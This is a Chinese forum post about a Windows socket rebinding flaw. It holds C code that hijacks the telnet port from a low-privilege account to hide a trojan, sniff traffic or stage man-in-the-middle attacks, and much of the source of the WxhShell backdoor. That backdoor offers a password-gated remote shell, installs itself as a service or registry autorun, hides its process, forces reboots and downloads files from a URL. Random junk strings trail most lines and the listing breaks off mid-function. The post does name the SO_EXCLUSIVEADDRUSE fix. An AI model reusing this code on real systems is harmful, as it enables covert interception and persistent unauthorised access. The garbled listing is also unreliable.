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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: NhQIpzL)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); kb1{ ;c:  
fVv#|   
  saddr.sin_family = AF_INET; }CZ,WJz=  
UN_f2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Gxfw!aF~  
TN3, \qgV  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); T.="a2iS2  
hkSpG{;7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 K[)N/Q  
nW+rJ  
  这意味着什么?意味着可以进行如下的攻击: :7%JD.;W  
K v"e\ E  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 b1{~j]"$L  
KTxdZt  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u.iFlU   
]YkF^Pf!v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 HRi~TZ?\  
jzV*V<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !OM9aITv[  
B#o(21s  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 VHVU*6_w  
=BY)>0?z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 C3-l(N1O{  
(u85$_C  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >bxT_qEm  
VpMpZ9oM<  
  #include XG<J'3  
  #include >JS\H6  
  #include #/sKb2eQ  
  #include    Y{Kpopst  
  DWORD WINAPI ClientThread(LPVOID lpParam);   PYr#vOH  
  int main() ? Ldw\  
  { YD2M<.U  
  WORD wVersionRequested; 1YR;dn  
  DWORD ret; 5b9_6L6  
  WSADATA wsaData; 7;Km J}$  
  BOOL val; N J:]jd  
  SOCKADDR_IN saddr; oTo'? E#  
  SOCKADDR_IN scaddr; ^te9f%>$l  
  int err; 2N)=fBF%-  
  SOCKET s; e.G&hJ r  
  SOCKET sc; ZA>hN3fE'  
  int caddsize; "m})~va  
  HANDLE mt; y% uUA]c*m  
  DWORD tid;   dW;{,Q  
  wVersionRequested = MAKEWORD( 2, 2 ); hF+YZU]rT  
  err = WSAStartup( wVersionRequested, &wsaData ); )z3mS2  
  if ( err != 0 ) { :Y y+%  
  printf("error!WSAStartup failed!\n"); N::_JH? ^=  
  return -1; h3a HCr E  
  } 7~cN  
  saddr.sin_family = AF_INET; |U1X~\""  
   aMuc]Wy#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Zp@p9][C  
A)040n  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v[CX-CBZ?  
  saddr.sin_port = htons(23); 9%oLv25{)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j9%u&  
  { 56u'XMB?  
  printf("error!socket failed!\n"); FOB9CsMe  
  return -1; p}uL%:Vr  
  } {~16j"  
  val = TRUE; T#J]%IDd  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B^U5= L[:p  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :~:(49l  
  { e x $d~  
  printf("error!setsockopt failed!\n"); L GK0V!W  
  return -1; "<3PyW?zt  
  } dSsMa3X[n  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ZNFn^iuQ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "pdG%$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 h_?D%b~5  
KmEm  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) PQ@(p%   
  { 2 'xT%  
  ret=GetLastError(); .pu]21m=  
  printf("error!bind failed!\n"); M=26@ n  
  return -1; `"I^nD^t>Y  
  } cliP+#  
  listen(s,2); \M=" R-&b  
  while(1) ff-9NvW4v  
  { Rla1,{1  
  caddsize = sizeof(scaddr); nXb;&n%  
  //接受连接请求 t=iy40_T  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .cQwj L  
  if(sc!=INVALID_SOCKET) kxWf1hIz0  
  { "J, ErnM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $oq&uL  
  if(mt==NULL) #p*{p)]HiA  
  { p[hA?dXn  
  printf("Thread Creat Failed!\n"); n8A*Y3~R  
  break; +_06{7@h  
  } B2 Tp;)  
  } 1A< O Z>  
  CloseHandle(mt); z]=A3!H/Y  
  } /0!6;PC<  
  closesocket(s); 50l=B]M  
  WSACleanup(); (O,|1  
  return 0; 3VB{Qj  
  }   $eX; 2  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4tCyd5u a8  
  { 7>wSbAR<  
  SOCKET ss = (SOCKET)lpParam; 6Ei>VcN4a  
  SOCKET sc; $?(fiFC  
  unsigned char buf[4096]; ss236&  
  SOCKADDR_IN saddr; x76<u:  
  long num; '2/48j X5  
  DWORD val; }7X85@jC  
  DWORD ret; j*q]-$2E  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;?yd;GOt)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   HMS9_#[kE  
  saddr.sin_family = AF_INET; /(E)|*~6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +<Uc42i7n  
  saddr.sin_port = htons(23); `+\ +  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D/9&pRsO  
  { ]. IUQ*4t  
  printf("error!socket failed!\n"); d; oaG (e  
  return -1; o\g",O4-  
  } xx#; )]WT  
  val = 100; +g/y)]AP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A>xFNem  
  {  *9`@  
  ret = GetLastError(); S)n ~^q  
  return -1; SE;Jl[PgcL  
  } [wjA8d.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )4D |sN  
  { AHIk7[w  
  ret = GetLastError(); yw{GO([ZQ  
  return -1; hJkIFyQ{j  
  } I yL2{5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) w6qx  
  { rKg5?.  
  printf("error!socket connect failed!\n"); <Ktx*(D  
  closesocket(sc); R3jhq3F\Y  
  closesocket(ss); Mf<P ms\F  
  return -1; 5WP)na6"  
  } h&{9 &D1t  
  while(1) ) 'j7Ra  
  { pyq~_ Bng  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2h@/Q)z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (ye1t96  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Z0`Bn5  
  num = recv(ss,buf,4096,0); ^GD"aerNr  
  if(num>0) O8w R#(/  
  send(sc,buf,num,0); V) a<)  
  else if(num==0) :tl* >d~  
  break; P bj&l0C  
  num = recv(sc,buf,4096,0); D2#3fM6  
  if(num>0) %u, H2 *  
  send(ss,buf,num,0); LS}u6\(  
  else if(num==0) ~5N0=)  
  break; U6t>UE6k  
  } D. fP Hq  
  closesocket(ss); pi*cO  
  closesocket(sc); etMQy6E\  
  return 0 ; /vYuwaWG=  
  } jL8.*pfv  
*?zmo@-  
)>QpR8 G-  
========================================================== \uQ yp*P1s  
|C301ENZ  
下边附上一个代码,,WXhSHELL 6 6(|3DX  
b}HL uX  
========================================================== @SjISZw_  
[_Fj2nb*  
#include "stdafx.h" "oz : & #+  
J$F 1sy  
#include <stdio.h> Y``50{7  
#include <string.h> J&CA#Bg:w  
#include <windows.h> _C2iP[YwQ{  
#include <winsock2.h> A=JPmsj.  
#include <winsvc.h> wW EnAW~  
#include <urlmon.h> rE$0a-d2B  
:[xFp}w{  
#pragma comment (lib, "Ws2_32.lib") Y&!-VW  
#pragma comment (lib, "urlmon.lib") f^Sl(^f  
$ @g\wz  
#define MAX_USER   100 // 最大客户端连接数 \NU^Jc_k7  
#define BUF_SOCK   200 // sock buffer 6|:K1bI)  
#define KEY_BUFF   255 // 输入 buffer NXo$rf:  
$ha,DlN  
#define REBOOT     0   // 重启 6C k 3tCr  
#define SHUTDOWN   1   // 关机 o5LyBUJ  
N!!=9'fGF  
#define DEF_PORT   5000 // 监听端口 Y\75cfD  
w_qX~d/  
#define REG_LEN     16   // 注册表键长度 gr1NcHu  
#define SVC_LEN     80   // NT服务名长度 q>|&u  
4FQB%3>*  
// 从dll定义API y/i{6P2`,D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >vQ8~*xd  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D8X~qt/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3Gi^TXE]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MTXh-9DA  
5<U:Yy  
// wxhshell配置信息 T,@s.v  
struct WSCFG { 4}4cA\B:n  
  int ws_port;         // 监听端口 +xNV1bM  
  char ws_passstr[REG_LEN]; // 口令 ES,T[  
  int ws_autoins;       // 安装标记, 1=yes 0=no &A}hx\_T  
  char ws_regname[REG_LEN]; // 注册表键名 x994B@\j+  
  char ws_svcname[REG_LEN]; // 服务名 Op()`x m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mHe[ NkY6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ls<^z@I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Th_PmkvC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }fO+b5U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ci 4K Nv;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n f.H0i;  
CiWz>HWH  
}; _=Z?5{7S >  
=E.!Ff4~(  
// default Wxhshell configuration ,>!%KYD/f  
struct WSCFG wscfg={DEF_PORT, qP{Fwn  
    "xuhuanlingzhe", 3c%_RI.  
    1, U7#C.Z  
    "Wxhshell", ff&jR71E  
    "Wxhshell", y0f:N U  
            "WxhShell Service", :W^\ } UX4  
    "Wrsky Windows CmdShell Service", ) >te|@}o  
    "Please Input Your Password: ", <$(y6+lY  
  1, S86,m =  
  "http://www.wrsky.com/wxhshell.exe", `^ZhxFX  
  "Wxhshell.exe" 'B:8tv  
    }; @r&*Qsf|   
N TcojA{V$  
// 消息定义模块 nuH=pIq6x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OUq%d8 W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \sz*M B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Yt[LIn-v:  
char *msg_ws_ext="\n\rExit."; d.|*sZ&3p  
char *msg_ws_end="\n\rQuit."; P!Brw72  
char *msg_ws_boot="\n\rReboot..."; J#W*,%8O  
char *msg_ws_poff="\n\rShutdown..."; cJerYRjsL  
char *msg_ws_down="\n\rSave to "; kXV;J$1  
STl8h}C  
char *msg_ws_err="\n\rErr!"; i#98KzE  
char *msg_ws_ok="\n\rOK!"; wBDHhXi0  
i?ZVVE=r  
char ExeFile[MAX_PATH]; Q r\eT}  
int nUser = 0; NH;e|8  
HANDLE handles[MAX_USER]; 5,-g^o7  
int OsIsNt; `dw">z,  
{#st>%i  
SERVICE_STATUS       serviceStatus; mPU}]1*p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3-btaG'P  
~s-bA#0S  
// 函数声明 6cd!;Ca  
int Install(void); ,hH c -%-  
int Uninstall(void); -:95ypi  
int DownloadFile(char *sURL, SOCKET wsh); X-tw)  
int Boot(int flag); +oh|r'~  
void HideProc(void); [[HCP8Wk   
int GetOsVer(void); fF(AvMsO  
int Wxhshell(SOCKET wsl); O1UArD  
void TalkWithClient(void *cs); & #JYh=#  
int CmdShell(SOCKET sock); tA^+RO4  
int StartFromService(void); '<3h8\"  
int StartWxhshell(LPSTR lpCmdLine); qdLzB  
w[F})u]E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  LtH j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P4HoKoj2`  
*v%gNq  
// 数据结构和表定义 Y(t /=3c[  
SERVICE_TABLE_ENTRY DispatchTable[] = CuK>1_Dq  
{ qH0JZdk  
{wscfg.ws_svcname, NTServiceMain}, #q K.AZi  
{NULL, NULL} YO-B|f  
}; H#7=s{u  
c0Bqm  
// 自我安装 9+MW13?  
int Install(void) c]Gs{V]\  
{ |{(JUXo6K  
  char svExeFile[MAX_PATH]; VQ,5&-9Y3  
  HKEY key; t{ yj`Vg  
  strcpy(svExeFile,ExeFile); K\KQ(N8F  
k-a1^K3  
// 如果是win9x系统,修改注册表设为自启动 qE3Ud:j  
if(!OsIsNt) { u:']jw=f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )5n0P Zi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Kp*3:XK  
  RegCloseKey(key); (&NLLrsio  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h^_^)P+;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \pkK >R  
  RegCloseKey(key); "=n%L +6%  
  return 0; 50dN~(;p  
    } J~xm[^0  
  } @{#'y4\>  
} r>! @Z2%s  
else { {ZSAPq4)L  
9mp`LT  
// 如果是NT以上系统,安装为系统服务 AA)pV-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n:B){'S  
if (schSCManager!=0) S"@6,  
{ V~#5^PF{  
  SC_HANDLE schService = CreateService $[b}r#P  
  ( Xs|d#WbX  
  schSCManager, 'hPW#*#W<  
  wscfg.ws_svcname, 8RuW[T?  
  wscfg.ws_svcdisp, J zFR9DEt  
  SERVICE_ALL_ACCESS, _VjaTw8iM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }"nm3\Df  
  SERVICE_AUTO_START, 5D=U.UdR  
  SERVICE_ERROR_NORMAL, ?u&|'ASo  
  svExeFile, bf=\ED^  
  NULL, #g@4c3um|  
  NULL, $<XQv$YS  
  NULL, t5_76'@cX  
  NULL, nC !NZ  
  NULL suIYfjh  
  ); <+r~?X_  
  if (schService!=0) h4itXJy52B  
  { *2N0r2t&  
  CloseServiceHandle(schService); BMQ4i&kF|  
  CloseServiceHandle(schSCManager); UroC8Tm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @:B}QxC  
  strcat(svExeFile,wscfg.ws_svcname); qhG2j;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ooB9i No^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nv+miyvvm  
  RegCloseKey(key); t~dK\>L  
  return 0; "x.iD,>k  
    } LttA8hf5q?  
  } 6C"zBJcGc  
  CloseServiceHandle(schSCManager); S&y${f  
} !mWm@ }Ujg  
} 7LM&3mA<  
v9,cL.0&  
return 1; *kZH~]  
} k^ fW /  
3?`TEw~'  
// 自我卸载 G#f3 WpD  
int Uninstall(void) .}eM"Kv  
{ (RrC<5"  
  HKEY key; P0_Ymn=&  
!B#lZjW#  
if(!OsIsNt) { @c"s6h&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KRn[(yr`%  
  RegDeleteValue(key,wscfg.ws_regname); 0|K<$e6IH  
  RegCloseKey(key); `'P&={p8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AY"wEyNU  
  RegDeleteValue(key,wscfg.ws_regname); a{}#t}  
  RegCloseKey(key); )K::WqR%w)  
  return 0; 0t"Iq71/  
  } LfU? 1:Du  
} x./"SQ=R+  
} =+?OsH v  
else { EB}~^ aY  
9C Ki$L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n"}*C|(k  
if (schSCManager!=0) .q:6F*,1M  
{ 8yDsl  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [h&s<<# D  
  if (schService!=0) u0)9IZxc  
  { U7g,@/Qx  
  if(DeleteService(schService)!=0) { pV\> ?  
  CloseServiceHandle(schService); *}Gys/\!S  
  CloseServiceHandle(schSCManager); XhWo~zh"  
  return 0; <-G3Qgm  
  } 5&_")k3$*  
  CloseServiceHandle(schService); {%P 2.:  
  } >o`+j$j  
  CloseServiceHandle(schSCManager); UH+#Nel+!  
} qkp0'f*}  
} $T66%wX  
o /1+ }f  
return 1; TXV^f*  
} aMkuyqPf{  
ySDo(EI4  
// 从指定url下载文件 N'l2$8  
int DownloadFile(char *sURL, SOCKET wsh) (]&B' 1b  
{ "cjD-4 2  
  HRESULT hr; " ;T a8  
char seps[]= "/"; HFF rS%  
char *token; luac  
char *file; |f1^&97=+  
char myURL[MAX_PATH]; 2>9..c  
char myFILE[MAX_PATH]; FjiIB1 T  
s`[V{1m,  
strcpy(myURL,sURL); dWi.V?K4z  
  token=strtok(myURL,seps); ]:T:cO0_n  
  while(token!=NULL) g`.H)36  
  { +;pw^QB  
    file=token; pzQc UG  
  token=strtok(NULL,seps); *} Z  
  } w~pe?j_F$  
oOubqx  
GetCurrentDirectory(MAX_PATH,myFILE); Z0'LD<  
strcat(myFILE, "\\"); mF4OLG3L0  
strcat(myFILE, file); )$a6l8  
  send(wsh,myFILE,strlen(myFILE),0); EKN<KnU%  
send(wsh,"...",3,0); 55] MRv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u WdKG({][  
  if(hr==S_OK) cG@W o8+  
return 0; kJNg>SN*@#  
else 4k<U5J  
return 1; $3ZQ|X[|+  
{9j0k`A  
} \'('HFr,  
@7Ln1v  
// 系统电源模块 /M3;~sx  
int Boot(int flag) RX^8`}N  
{ CO@ kLI  
  HANDLE hToken; #(a;w  
  TOKEN_PRIVILEGES tkp; (6[/7e)  
Uqj$itqUQ  
  if(OsIsNt) { =eDC{/K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u$ o 19n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K)Z~ iBRM  
    tkp.PrivilegeCount = 1; At[SkG}b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9oP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a%6=sqxE  
if(flag==REBOOT) { X2,v'`U5&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gA1j'!\6l9  
  return 0; \S?-[v*{  
} fT?m~W^  
else { > hGB o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~]<VEji  
  return 0; a?Y>hvI  
}  _PwPLSg  
  } @ IDY7x27  
  else { rG[2.\&  
if(flag==REBOOT) { Q4S:/"*v8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +R{~%ZTK  
  return 0; .>_%12>  
} _pvt,pW  
else { L/GV Qjb  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z$('MQ|Ur  
  return 0; YbZ?["S&  
} d]sg9`  
} JLu$UR4  
!Bg^-F:N  
return 1; ":=h1AJY  
} b%C7 kL-  
U!BZs Vx  
// win9x进程隐藏模块 ,LLx&jS  
void HideProc(void) &Akw V-  
{ jSdC1,wR  
@q@I(%_`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6~?yn-Z  
  if ( hKernel != NULL ) q8GCO\(  
  { Gtvbm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  : ?Z9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3{ea~G)[9  
    FreeLibrary(hKernel); I-kK^_0mV<  
  } fti0Tz'  
_ KyhX|  
return; Ar_Yl|a  
} W%9~'pXgB  
h*Mi/\  
// 获取操作系统版本 Pe11a zJ  
int GetOsVer(void) ]]_c3LJ2`  
{ dww4o~hO  
  OSVERSIONINFO winfo; FS!vnl8`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); or7l} X  
  GetVersionEx(&winfo); *8u<?~9F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a%an={  
  return 1; PBL=P+  
  else ;uZeYY?   
  return 0; !<X/_+G\  
} ?fc<3q"  
/:,}hy+U  
// 客户端句柄模块 !SLfAFcS  
int Wxhshell(SOCKET wsl) oIE3`\xS  
{ 9c0  
  SOCKET wsh; R-4#y%k<  
  struct sockaddr_in client; <p` F/p-  
  DWORD myID; Dv^M/z2&[  
!9V; 8g  
  while(nUser<MAX_USER) VPVg \K{  
{ 7kMO);pO  
  int nSize=sizeof(client); NKVLd_f k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X@A8~ kj1  
  if(wsh==INVALID_SOCKET) return 1; 0juP"v$C>  
QV#HN"F/K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uFvR(LDb&g  
if(handles[nUser]==0) ,,S 2>X*L  
  closesocket(wsh); D_`~$QB`,  
else 7o7FW=^  
  nUser++; dn_l#$ U  
  } YCdtf7P=q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }%y5<n*v\  
ScT{Tb]9bt  
  return 0; PHH,vO[eO  
} md/h\o&  
7$R^u7DZ  
// 关闭 socket _vAc/_ N  
void CloseIt(SOCKET wsh) F"' (i  
{ T w1&<S  
closesocket(wsh); :j32 :/u  
nUser--; f]Rh<N$  
ExitThread(0); >LVGNicQ  
} 3A! |M5  
lpbcpB  
// 客户端请求句柄 4#B 56f8  
void TalkWithClient(void *cs) wkJ@#jD*[  
{ g/w <T+v  
iBKH\em/  
  SOCKET wsh=(SOCKET)cs; vnlHUQLO  
  char pwd[SVC_LEN]; t7e7q"+/  
  char cmd[KEY_BUFF]; ow'CwOj$  
char chr[1]; %w/vKB"nO  
int i,j; m1sV~"v;  
YlZ&4   
  while (nUser < MAX_USER) { @qF:v]=_@  
,"?8  
if(wscfg.ws_passstr) { Q>G% *?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1T4#+kW&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b |ijkys  
  //ZeroMemory(pwd,KEY_BUFF); rWN%j)#+  
      i=0; Vw&# Lo  
  while(i<SVC_LEN) { mWMtz]M}  
1>bNw-kz7  
  // 设置超时 +h1X-K:I  
  fd_set FdRead; yy`XtJBWWs  
  struct timeval TimeOut; n<A<Xj08T9  
  FD_ZERO(&FdRead); hN\Q&F!  
  FD_SET(wsh,&FdRead); xo!2 GPD.  
  TimeOut.tv_sec=8; Y7')~C`up^  
  TimeOut.tv_usec=0; `"#hhKG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F&7^M0x\ O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !2.eJ)G  
c+##!_[9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PJ<9T3Fa  
  pwd=chr[0]; #w!ewCvt  
  if(chr[0]==0xd || chr[0]==0xa) { }:]CXrdg>  
  pwd=0; EO/41O  
  break; T#&X7!4  
  } 7GJcg7s*T  
  i++; K d{o/R  
    } ;O<-4$  
|[)pQGw  
  // 如果是非法用户,关闭 socket ?YF2Uc8z%2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M'pIAm1p  
} j.\0p-,  
E!=Iz5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ns\};j?TU*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^ h2!u'IQ  
c1 j@*6B  
while(1) { G4\|bwh  
`r %lB  
  ZeroMemory(cmd,KEY_BUFF); _9<Mo;C  
ehZ/J5  
      // 自动支持客户端 telnet标准   vPrlRG6  
  j=0; D8WKy  
  while(j<KEY_BUFF) { p& Kfy~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |z0% q2(  
  cmd[j]=chr[0]; \0FwxsL  
  if(chr[0]==0xa || chr[0]==0xd) { tF.N  
  cmd[j]=0; >Udq{<]#r  
  break; MieO1l  
  } x-b}S1@  
  j++; @yF >=5z:  
    } blkPsp)m"  
m\MI 6/  
  // 下载文件 3XDuo|(  
  if(strstr(cmd,"http://")) { 0y2zjXM;3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  I*n]8c  
  if(DownloadFile(cmd,wsh)) Qve5qJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hG272s2  
  else \:2z!\iP`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^,`]Q)P^  
  } 4hkyq>c}  
  else { 02-% B~oP  
n|B<rx?v  
    switch(cmd[0]) { |*l^<==  
  ~m[Gp;pL  
  // 帮助 1yFIIj:^|  
  case '?': { XQ8q)B=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l9 &L$,=  
    break; Z tc\4  
  } Ydyz-  
  // 安装 7vc4 JO]  
  case 'i': { uXb} o UC  
    if(Install()) Uz%ynH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zu94dFP  
    else i9T<(sdK+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3r[ s_Y*  
    break; O,#,`2Qc  
    } 8EBd`kiq  
  // 卸载 [I7=]X  
  case 'r': { (B03f$8}*_  
    if(Uninstall()) E H|L1g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0-/@-qV\  
    else $lA dh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e{^^u$C1.e  
    break; &}\{qFD;  
    } -C* 6>$A  
  // 显示 wxhshell 所在路径 uavyms^  
  case 'p': { {`(MK6D8 c  
    char svExeFile[MAX_PATH]; S>jOVWB  
    strcpy(svExeFile,"\n\r"); Q% ^_<u  
      strcat(svExeFile,ExeFile); Hoi~(Vc.  
        send(wsh,svExeFile,strlen(svExeFile),0); }'Ph^ %ox  
    break; OLoo#HW  
    } p[)yn%uh  
  // 重启 :SY,;..3e  
  case 'b': { ^)h&s*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OjrZ6  
    if(Boot(REBOOT)) i`?yi-R&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \[%_ :9eq  
    else { _joW%`T8  
    closesocket(wsh); Y=y 0`?K  
    ExitThread(0); QP>F *A  
    } hf;S#.k  
    break; +RnWeBXAT  
    } XJk~bgO*  
  // 关机 4JXJ0T ar  
  case 'd': { z 0F55<i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nswhYSX  
    if(Boot(SHUTDOWN)) 8G3.bi'q   
